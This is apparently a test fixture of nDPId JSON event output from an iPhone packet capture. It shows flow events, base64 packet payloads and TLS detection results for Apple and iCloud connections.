+00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":200,"source":"iphone.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1582454598888,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"104.73.61.30","src_port":50583,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":200,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":888448,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAG0pfAqAIRaEk9HsWXAbvBeeAaAAAAALDC\/\/9qCgAAAgQFtAEDAwcBAQgKEd\/pSQAAAAAEAgAA"} +00425{"flow_id":41,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":888916,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGHz7AqAIRXHr8UsWWAbuHn+lThYjGHYAQBAuvrgAAAQEIChHf6Un\/dyjx"} +01123{"flow_id":41,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":889102,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAgI5AABAAEAGHTfAqAIRXHr8UsWWAbuHn+lThYjGHYAYBAsDXwAAAQEIChHf6Ur\/dyjxFgMBAgABAAH8AwPBzadgheRj5PvWKLwSvBgHRWReYUBmRY58bZ7Lfe7D+CBuPIm6VXqnNWVU88hOzvhjpRW+5l\/fSYA7KifdMQlc9QA0EwETAhMDwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAABgAFgAAE2lwaG9uZS1sZC5hcHBsZS5jb20AFwAAAA0AGAAWBAMIBAQBBQMCAwgFCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAAMwAmACQAHQAg8pt2q3lQ9HWbBRi6RvIDs4431U3XsDOQIuUc1COGcGsALQACAQEAKwAJCAMEAwMDAgMBAAoACgAIAB0AFwAYABkAFQDKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00781{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":202,"source":"iphone.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":4,"flow_first_seen":1582454598766,"flow_last_seen":1582454598889,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"92.122.252.82","src_port":50582,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"iphone-ld.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00838{"flow_id":26,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":890665,"pkt_caplen":367,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":367,"pkt_l4_len":333,"pkt":"xiwDYGpkxGGLNYKpCABFAgFhAABAAEAGYyzAqAIREYICLsWRAbsZOu16368Uu4AYBABb2AAAAQEIChHf6US1T9NCFwMDASgAAAAAAAAAAdj\/oh4JFAnecakNJj3aZhGQtlujQ3sfkuGMooEvvIa42NgztrVRsmvSSHptchNMfzB9XtSoRe3JJVMOw84TOq51ohCUx7Khwzf1Dnv5tfEXFJ2KYninJ2dCwf\/Lhp4bUTr3pLe6Tn2kQFJCZPZIKKuUOi0IjIndR2RlxsKUEDyRQvOcLbqVa1PCrETsZn7vnrVAZZi3u8mZv321lz\/v9mNReM+hdk+q8gigOG3yGTSnZuiHsuaq9NMnLDWs4hRxunQnTO6mmCY4m18R78wKjC924tJoRSv7PoH4I\/WahkK7W3Exhv+pPpqWdz2yYtVEHsIQixU2U0n9yOS35zZ\/\/1WnM6cRemep26nGe2LKomIscPZrlSg2UV1ewYuD5d+5wA=="} +00615{"flow_id":26,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":891090,"pkt_caplen":204,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":204,"pkt_l4_len":170,"pkt":"xiwDYGpkxGGLNYKpCABFAgC+AABAAEAGY8\/AqAIREYICLsWRAbsZOu6n368Uu4AYBAC7QAAAAQEIChHf6US1T9NCFwMDAIUAAAAAAAAAAmp2IfLHHbKSxzXQ66EHNzB6Upc+RgXiwFZQtEzg6f0CMeSNbULtPf4GaeCAtFu+V5xUKAozV5S45swR43Y3NNTy\/s98twAqZNCau6i8C+CVNC42RlwSPI1SYdF2\/YQ3RZOSQkneh1zLZZREZxDwDKX0k6ReIlOxElfPjjt3"} +00424{"flow_id":40,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":205,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":892865,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGrLvAqAIREfi5V8WVAbuoGt7pnxPiJoAQBAsEtQAAAQEIChHf6VPpLCwF"} +01124{"flow_id":40,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":206,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":893224,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAgI5AABAAEAGqrTAqAIREfi5V8WVAbuoGt7pnxPiJoAYBAtl8wAAAQEIChHf6VPpLCwFFgMBAgABAAH8AwPupC\/\/Idf\/TKV61u4UD47k+sXPhTWRB8OAqYTTHEr2LyB7RNdSKNgM9EL2qrN2iyDWEEsm1843GXQB9crRbp8tlwA0EwETAhMDwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAACMAIQAAHnAyNi1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbQAXAAAADQAYABYEAwgEBAEFAwIDCAUIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAzACYAJAAdACCDleNDTQhj0xF8bnwK051jtivCaSKiZkunSXcl4Va+AgAtAAIBAQArAAkIAwQDAwMCAwEACgAKAAgAHQAXABgAGQAVAL8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00804{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":206,"source":"iphone.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":4,"flow_first_seen":1582454598721,"flow_last_seen":1582454598893,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.185.87","src_port":50581,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"p26-keyvalueservice.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00425{"flow_id":41,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":925453,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0z7EAADUGmoxcevxSwKgCEQG7xZaFiMYdh5\/rWIAQAOuwTQAAAQEICv93KWwR3+lK"} +02388{"flow_id":41,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":212,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":926093,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUz7IAADUGlOlcevxSwKgCEQG7xZaFiMYdh5\/rWIAQAOusqAAAAQEICv93KWwR3+lKFgMDAHoCAAB2AwPVclrs5qQ\/Sx24j5b7zPYzeLlCrcg8\/wYuD5y4WSjHASBuPIm6VXqnNWVU88hOzvhjpRW+5l\/fSYA7KifdMQlc9RMCAAAuACsAAgMEADMAJAAdACDyleVstpAS6tG0\/5z1HrqCZwd8JGTnUVgIrdC22fr1QRQDAwABARcDAwA0wnb1ePwh20l4Tf+pvQSVwpABc7rVlawOWSPd0S3vJvoFt0MQBaCADHcFHjq+h64QjLktVBcDAxKHtp1Vj7FXgxWqnWC8QrzkJbTasHPhAWIz9GeDRX4O8SxWYMgLA6p48Y2nKAoWp1xhz\/5IbLSSuPFbxgK1QMydZbQpl7XG9s7hM6vUOHFxrT1ZFccyH+5eokwBY+ZOcSEhwV86EqDSP1X2sU2l2QMoHEzb\/Qs4nhq\/mfpVluUBZQRNulh6Q4YTErkiBaAlbD3ilie6pMkEmHocEtLglKScSCl0b4O8N9PlNyyU05uxuVB9gMdZykIzX0HNpqAKkeXUj+tJV1rktGfadKiVjON5djWPiTSom1UibDJ5Ma5xkPXJHryCOxj2T3lzAr0O0iny7VP3kVqOexBkp5S+pnNskJfcGotGJLSEj49J5e5T2QKU9\/JpZ\/g\/lijnarGnehUwNRwtyzW5h\/\/UgLo7S7imVgzWKDqETgeXCkfByt5knE43sGW1SHeMIebCjB1MfAYq9Qoj\/Q7OHxAWJPdB1+36VH+z6ofgj7vn2Or3s8ynXk2aaEacv0sy8Diq95myUtLtLCJcTv\/00cbobrzYabFQn7oQVvP76Yg8h1pc7DQiPqWog2\/A0NLjIHNdwlKGO\/uqMVtGE9zBk7huLUinnZqH5fRa0OIf3U+IT0EKyMxb17w\/a3GQUIgW3oa9MVFKSf2D3qc+6Er+ndRecQpcG+31bHEJ7cerriBP+OTmqF8\/ep9tROS3GDbofFpb0zSP3uo1Kbf874LTLCOVhP5gbaMiKMwex0PG\/5b1OuyKHNTJ12cXwI+4Gn9nT0jJ10FyFLnnOHW2d2HaB0q3yixsEgOrXC8obTP68nFYnqV3ffOJYES3kunCJF+e4wpIN3wLx4MY+cVd6daHaDGBsl0vTVdGmMXbF3Q663Px041voKPWNsVtuHo+Ig6QPo8f\/L2w85hl7gYSIzGqg6R1Eky3Qv+Jt+7ysKq9emuzadqliMjRZEJBlYqzf0VXc7C0vBpHZTGGReGYcAWVq6vVv9MCCSFhisUDWs2xrzg52\/zc8lp0hnGopJeuxtnR4mhOF3MU2Zlrg+I8mJKul3LviY3yRZ\/IRffJO0vbBUZ1c+Q4CsI53zp681IjLL+M2kKARNLKKJVlLbE60\/eTG5kVTjeSe3cqeIdiFIs0sWdzeRXu4PRqR8w8KJwUCCqIiz\/ckA7zkYItswHMfu3S9d\/CcW0mQZ6Uw5SbuUakur\/4CnMlN0lLUrlg3XSF\/\/p1BByIHJo49jKA05qZXec9gh8r9BT2VTNrHQEJMBxOZgO5ufwQ2NmXKcW3nG6LmQ3Wb3BgM3NfVDu30WdAf8ojiK0b2z8L4XjVIIO1r5ool6iYZ0I99Z5x6mk\/iOmoA7zYAOa5peEzZHAGOIoa9aFeV5gGBISFFRl5dPLiJlzipW55F\/2liShC1OMMTsrNVKAfhd8Vc7jrssG\/8g6pTRoye4\/juWLCL5zYVn1ygeaTtpXWKvVCAgBq67VzjwnIhN3c8smyVW\/GZn+shbP+cPzxrNgkk0RiyNkbQN8mpltLZg95TF1HjJKLP0o7\/cSQgGdepllKZRZiHP82YtGfQ0x5uZ1xXpYJl6kCr+gyQQk58U4Er4ecUsrTqyg4KSPIf01YOGy6oK1j+sNHa1xnIMUtYabez\/fqunYPykzDcfq\/AZE5+gnrTzZ7+ftOL70m\/pPNmZOpGFni"} +00822{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":212,"source":"iphone.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":6,"flow_first_seen":1582454598766,"flow_last_seen":1582454598926,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"92.122.252.82","src_port":50582,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"iphone-ld.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02389{"flow_id":41,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":926120,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUz7MAADUGlOhcevxSwKgCEQG7xZaFiMu9h5\/rWIAQAOsu8wAAAQEICv93KWwR3+lKWCibgR7R1ynDJiZaZPbzkCvNLTkNSlTuJQcaiwgfOAe+jv6giR33JoqhLo8uVjaHcaRyRSgJZAKlq0glMD\/oh5PkZwiVz\/vLCX4N3Si8dZ08eQtrPzXMd6Ow5UWMFUSyXO90m1NcMpPMoQ\/E+O9+avvWxEEwBbSpg7SYxC4\/VxMJ04jb80RqVNZVdD3wdMlDr5S+asT0gpkDJR+VMqU2+KrNLbaqO5oDgRaYydL2VKTQ33WXDYVxhSZyVixMC5XVq+2IyPxIGHnJ\/VdOR5Y8yjVl2pomUPMduS5AuBHX3Px97Ltg37PXCCVnnCxK5i2+EPWcyrf7mmgzcMFJ7FwDd5+jizX6ZLAJ0DTSWLORx1Wq\/2V7TfV\/\/GXKiSgXa\/i\/2wVfh82j2nZs\/UlrSuVFQDu+qVSa5XD3lQc\/kY2P+zIt9tcIiDPVrhU81sYfJJpAVKUcGf9sTqeR0LMvownWHoypAwZmr9WY1GwT31bEKutv6HNihvypSFKdObLD\/QD3ct2IC+qY5lEHV3moyCV\/9s\/Mp26QdKxlbcQpI+hxMO0PYhga5Pn4fYE4kVqHL6yuYVVitxN3csLXCHUzTUYr6ALe5LApCE\/dJNEIcLURmNq9j5rojaPFWqVCit1Lepuxv+8YuXXKwuYPiFazlaPXTYzWY5rs7wQv8xWjwXt8nA9QyG3Yl\/wA88UhE7UK4DrLdGcuBksvIShYT3YVnRqF+D6DKMHRPRt+ihNHswVPEjP6+H7h5HUXxEAfTARFXrt0TuhvacpA2Iz9Lfmhy+U75QdcYi2KvxKLTUtoraTEY7IHgz1IpcSYTEEKYrKWkt7DdxDaWiY66Rnc275\/rg+0HlcPfRLl8Xn1dHxX1KvUp0K4NP7dzDv5ajOc+yM0Kycsx2FFZSXR1UeY5tQZjlVlmI3dmbYMV05ZVTI\/fr\/qcERsG9JnQdJnXL3FAj6W89P363VOiftME\/WeAFx9gC41recEsuDe\/9lndbSL0U\/VWfuXIFUfUkTuyfkcNadzRoklnpql6ygHODT8GvFHK+GrD19mc58yi7y1Mr6bhaGCs+ARdWR53Edc3j2YSGjtsoCWZl3eOuriaRO+SKqxn4yniOGHF0VnW7D+M8GaeTWoe0qkpFpQ4EW4Q5QoINDUX137huBIs5s2c5DoeYriJcwWbeT549L2zsXrBLOvwTzTscHPRNiXaV0oVaLIg2tKSD+b1xxziFjkCvU\/kd27\/EulFrPmnNb\/wxVIqaWAhteUMYdcOYn5scz26qWOPYE871igHAKcax7QvT6DpuNmYyDnE63f5t1zg2Qw9MMh3I73GUQC8ahtgmxM7JpPts\/CsxK9\/emUl2sF8+DRVrfhJXcfHPLwGN+Lcta+LdU0pVB917YGKMMCzTi9h+59PvifiBx+FRHxhNfaLdRrKPDr9jez2lxQNTOFLgB6v88KxfYUIeOD4QAwNLomOdID7DHmLQ13z0t6dVz2NzWGOg6jO\/KESygXS7mRNKbFhbeKhybngJ2MwTpIqPgLY7fWKBg8JDWvJyLJvBfiI1C6OjSXpLAc7+Mx11+DQ9\/4oF5crNWJCr+0MjZn4TAVhZZWIjIJDRK6bardTjBtqIIOAVD4q\/1iEngGOHOd2I7vXF5gkKDLMLczvXnHTvFSneHEtPeq0Ks3JUIvke0CijUvxzl\/1wE58bvo\/SFCwtpZJhyJ\/rbgQ6xiHa8MxZ0JWLyijlIMInhaQMo4caLK0iwDsLuysuWHrOyD1Z9U87Bg9fmig6EPh9fDT6w2FWGIY9IZEVh0aH5vfFLpIXkOYQtHIVopqfNGN8bqFCWb6V57Q63\/ijWAxx8aJYkKFBYO5XufhpHv1QrV9g2OC2sAL9DklopOYjpyaZd3rzbwF\/7KYP\/3Rv4eVgKTbuoEpd\/EJmZwVuOLXtId"} +02082{"flow_id":41,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":926180,"pkt_caplen":1282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1282,"pkt_l4_len":1248,"pkt":"xGGLNYKpxiwDYGpkCABFAgT0z7QAADUGlcdcevxSwKgCEQG7xZaFiNFdh5\/rWIAYAOuLogAAAQEICv93KWwR3+lKdFWg2DmVZdxMug6XcPmfjtFxEVFs4eUQric0KdnsvrpMns2mWkWg8s8\/Na4C7zJLgRnsTn+Gl4S5UbpbUI+2Rm2xejqNF44AXSiOp81MslDMgyEL+ZaXSYzsxNRwWja7ES14UacXClShKrYuWbzIdOl\/ma4LfeQbzn3+\/dKhcx6tXq9zpNd43cgqixBeox6d9Y4b\/98cMZJoOljsIC5P48LOWkH4eZArZvxk3LODu0gKi3PGpHPuBGOUgABUkqRCsWkE1P6VJbR7EeT7aHZgDnG6RnrlDWcqPnRQ4fJIm1NLsxLJ4cDrbbUf38QkBwo8HXQaoUdXuwGfuAhhIWdmm\/+OYeWxkKDJ45ARQIcImPKXDdMTtn35dgliIZrtHNeYGDjb+wisr0k\/jq3JMhzx7SvBpICvoxJOMIIfI3ZninPNJuZkuFwlVB0x69D8IW0mDf4Vx0sgHOgQOM7XfkI\/CwVp39DYoMJZ4rrpT7bO7J+PgO+OaM7Y91F74CDdBNbGDfVDSQCK\/QPkBv6oMk2BEzojAjHBqACVJ841RWy8hxfx3R4ikoQvMEmJ3gHpjSawpzrP9jcGOxE4GBsd1NH281r3eNS3e6UYf+oXsSLHgCgKou2B2y7mfVMTxMBi7gGwQ+UPnQjEVN8SW2LOMSOPzYk\/f+eHpZohDLjmgBqtALq3gJ8NITWmNttLUPugE87NQG8+ktt66P6Km83zymLpgsKek1dglbUWZ8qA2u1NUF9A8ybs6WkCMjz31K1tzA2ohNm4Gu5AXgtDA+vav\/NKuqEIPHlr+IUquKPqiet8mTH3TrAzly358d77F0BugrBy62zgDEvgyF7jXUOJpJmXgmhvcJpseqrWszC\/Ws7t\/hcYnotiSxEugdJ\/D\/3w+gdFWoa0Q05LpTvZl6q7a3Vvrohlm1BcZ665Ipafx+xcbL3NnRo6RodFQvr5ZZ\/wcdwR7ays1IpjdKsdBh9MWdtf4PGwPcSn1BocWvUSKX6WU1rIkVyCbmqEgD0DkJXO\/8F8KMdV8xDawM2h7VLfaBH3qcM2F8tMpZ0DJxIMmAfqO4ggqHtysqh7nvjQklla\/jewDCuHOlh9hI9gAkTeyozvBLytUpHQsl8nMQne8ZAyf+69gcP4LEckMnp7vrhmqXUG+AbbD4\/qX8AS\/K+GbNG8KxAIL0LSkR4qbgGO3BxPvEbxceNTWQOtWI4SS34zAgl4jWFwaD6Qi4U0nFr\/M\/Blg8SPe\/QWl0QIDHKxtWPHgC+hIYCFkMNw\/E\/zmr5EvucCQd47gQktNCrG3m0sPuBbxphCRVuHH0K3NMlhtZGmbSCjkQzUmAo4OLO6eWFmurYuKxXrorMJIpzJkQxAw+aDOkiPIIGFrE8g95vm4b96SlM3vtW4Vkup+P\/dj2kJr\/RrNvJcCWbK+IZrZk1ZLuxZDc9H4sEa6f4HLa10BcAz2QaumTut7MYlWERjZ9WabOsfQaK6GLWv9YbY+SErm8x0sHg3ktLkTsn45oAlcNA9JYQC1DAgutQFhbltk4GqwGVnZbvcLNTINnz\/G57t3FCSTl76Ck2kRMfLf9rEZX1xQ+ZrmIaPvQdRNrkgatyIYeG90xWs3JiL8zcldT364BfB7w=="} +02057{"flow_id":41,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":926730,"pkt_caplen":1268,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1268,"pkt_l4_len":1234,"pkt":"xGGLNYKpxiwDYGpkCABFAgTmz7UAADUGldRcevxSwKgCEQG7xZaFiNYdh5\/rWIAYAOu6JQAAAQEICv93KW0R3+lKVHqwts+n2hFbgaGLvVF7Dz+3Na340HD++BzqwHdjKHEc00qy8GOso1qeodNydi8nUw9jQDV9q4iStYYFh6nmCMFsYAdSAggsbOojM3Mw+pVdMQvyN+1AIMeC0amzBaxj2cK+GakvDT1JwSfECqOcNcVEaM52\/GmxkgjcA81d5WsNySsHZhaprUwKBfS64jR3y8UYVBJF60O37+\/V+xD8RSbFZ4MmhrirukYJuQdgNG5FfWtVKASbZH0BoWRxWTuYYMpBPKT5J3IwJSVeSZhVqJKBDC6otuPYbGA6B2gxTX16lQemhEUZw6YO2\/EF91068jkN8D5r1gFpfT3qNor2A8OYLX39bk6S+kTGfcSzyAECjxH+MQjEkaJHruqjr33blJhmpTlMbu4Nx1f7I5FnG1w9ZtKnskAZ+vnTBQduNhwcx3yzsURsL9WDctY+J9egJFAOANhuBEqwlGoYFKEMpFs4R3xPB6C\/SvclY7yg1V2vqofIlX2jNcYTGjUgEm35dW21maN+JlmCskBuYFJx+feV3ZdavODfqSB9Sq\/Zhik9zEvb+\/9U1YTm\/o5WfYKasGmN8xnF+nP13xXWzsVYgZi4kNNvumxcVnNtYGmpMK5mAbSyEx13ExwmbtP1cXp0hamq41zwwCCm8YI3AhxZ+OYNW5yi1ApF56Qc2eA9m0R1hzx2TSqRzXappHqD4QXvppDuM\/jBbY1LbgfhGTrMzln3iTTDTFZK9toJBN5fM4GbCP7W6QHMTKZny7Os28CQAwgdQroBkkP15Z4kwdKpPdWYQv9llyk2NJwSwoVyO3Sj7yEuPadAE7WvIJ60XRvDchBo+KcYVP2A8x\/DHe71VdegDXIHoHiRS+7YTw8GICsZ8xQH5nx70Y5IvmgmqxppD6NF1jU23hF25vz7WBmhNxtVph2MTnsDuUkXfJwNxY\/Ofzueo8rMBgkusSMUA7tZHKWiH85IraTdOZ7hRSIx\/6IYuVdjHOHxVeSY925HhPMW0XEZSklDCDr2kDBOsErReG81V4VBMoyjr6kMuvkqQtJuGXLIinbxijYpd9xNQUq+gIA2TDO44LOsdSWbxhpOtb8DjPMdDUEIaSTf\/WWFY4A21hbDYXvVRDUXAwMBGS+s4Vz8aqJ6WkWr9Q00QyoTkDQGx33KqnorEUnuAWKGExSPFPPh06JU1\/JGuOK83W34s5XwvibY+zBVIuRJL6oBwqNFOe2\/1rZhD\/9eKHTQOOOABMXIhySGezF\/1N+pntxhY7YbPfsJL52msRIIOEb+ad1rdVuN3iqMiCsrsUSOcGVRKNJkYEJkbalw9pf5OLE7+gFpk4tXtDClyPPBxJ5KKg9GcLrFbaUeWjCswNIk8Q3aUFMeEm5rBToiHjPJBo\/O2GzfeFD6U\/2HBkN6LdNRIfGmcgDSihkDpCJgx\/behqFMjYujscLGhiy5hpp5r8LjXOtcmV3EFgewJe4ljPZRUdr\/4kImy0plUKCzzBhSMm0GddiaZ9JBFwMDAEWOySNyypcmWvyg7cYbXRH9K4i5Mx9pKvDcg\/gQK\/mXfPhHBxM7jc3Gt76qFm2cZ9rPm4occu7+DiruCMcKsRtAL3nTDHE="} +00437{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":926741,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAADUGHZxoST0ewKgCEQG7xZdpIXVbwXngG6BScSBpXgAAAgQFrAQCCAqgrSHdEd\/pSQEDAwc="} +00427{"flow_id":41,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":927804,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGHz7AqAIRXHr8UsWWAbuHn+tYhYjRXYAQA\/Sh3gAAAQEIChHf6XD\/dyls"} +00427{"flow_id":41,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":927924,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGHz7AqAIRXHr8UsWWAbuHn+tYhYjWHYAQA\/adHAAAAQEIChHf6XD\/dyls"} +00427{"flow_id":41,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":934663,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGHz7AqAIRXHr8UsWWAbuHn+tYhYjaz4AQA\/aYaQAAAQEIChHf6XD\/dylt"} 